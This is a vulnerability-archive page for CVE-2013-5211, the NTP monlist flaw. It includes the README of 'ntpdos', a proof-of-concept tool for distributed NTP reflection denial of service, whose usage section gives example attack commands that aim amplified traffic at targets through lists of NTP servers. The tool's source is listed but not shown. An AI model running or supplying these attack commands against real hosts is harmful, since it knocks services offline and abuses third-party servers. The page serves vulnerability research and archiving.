Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1020 CNY

100%

CVE-2013-5211 PoC — NTP monlist功能输入验证错误漏洞

Source
Associated Vulnerability
Title:NTP monlist功能输入验证错误漏洞 (CVE-2013-5211)
Description:The monlist feature in ntp_request.c in ntpd in NTP before 4.2.7p26 allows remote attackers to cause a denial of service (traffic amplification) via forged (1) REQ_MON_GETLIST or (2) REQ_MON_GETLIST_1 requests, as exploited in the wild in December 2013.
Description
PoC for distributed NTP reflection DoS (CVE-2013-5211)
Readme
# ntpdos

PoC for distributed NTP reflection DoS (CVE-2013-5211).

## Usage

```
$ ./ntpdos -H
--==[ ntpdos by sepehrdad ]==--

usage:

  ntpdos -t <addr> -s <addr> [options] | [misc]

options:

  -t <addr>    - target ip address
  -T <file>    - list of target ip addresses
  -s <addr>    - ntp server ip address
  -S <file>    - list of ntp server ip addresses
  -p <num>     - number of parallel processes (default: 80)
  -d <num>     - delay in microsecs (default: 1000)

misc:

  -V           - show version
  -H           - show help

example:

  # Attack 127.0.0.1 with servers from servers.lst
  $ ntpdos -t 127.0.0.1 -S servers.lst

  # Attack targets from targets.lst with 192.168.2.11 server
  $ ntpdos -T targets.lst -s 192.168.2.11

  # Attack targets from targets.lst with servers from servers.lst
  $ ntpdos -T targets.lst -S servers.lst

  # Attack 1.2.3.4 with 5.6.7.8 using 200 parallel processes
  $ ntpdos -t 1.2.3.4 -s 5.6.7.8 -p 200

  # Attack 1.2.3.4 with 5.6.7.8 with 1 microsec delay
  $ ntpdos -t 1.2.3.4 -s 5.6.7.8 -d 1

notes:

  * list of ip addresses should have 1 ip address per line

```

## License

This software is distributed under the GNU General Public License version 3 (GPLv3)

## LEGAL NOTICE

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.

## Get Involved

**Please, send us pull requests!**
File Snapshot

[4.0K] /data/pocs/2a204238f2c592d811abf4b04875570519175563 ├── [4.0K] bash-completion │   └── [ 658] ntpdos ├── [ 34K] LICENSE.md ├── [ 872] Makefile ├── [8.4K] ntpdos.cpp └── [1.4K] README.md 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →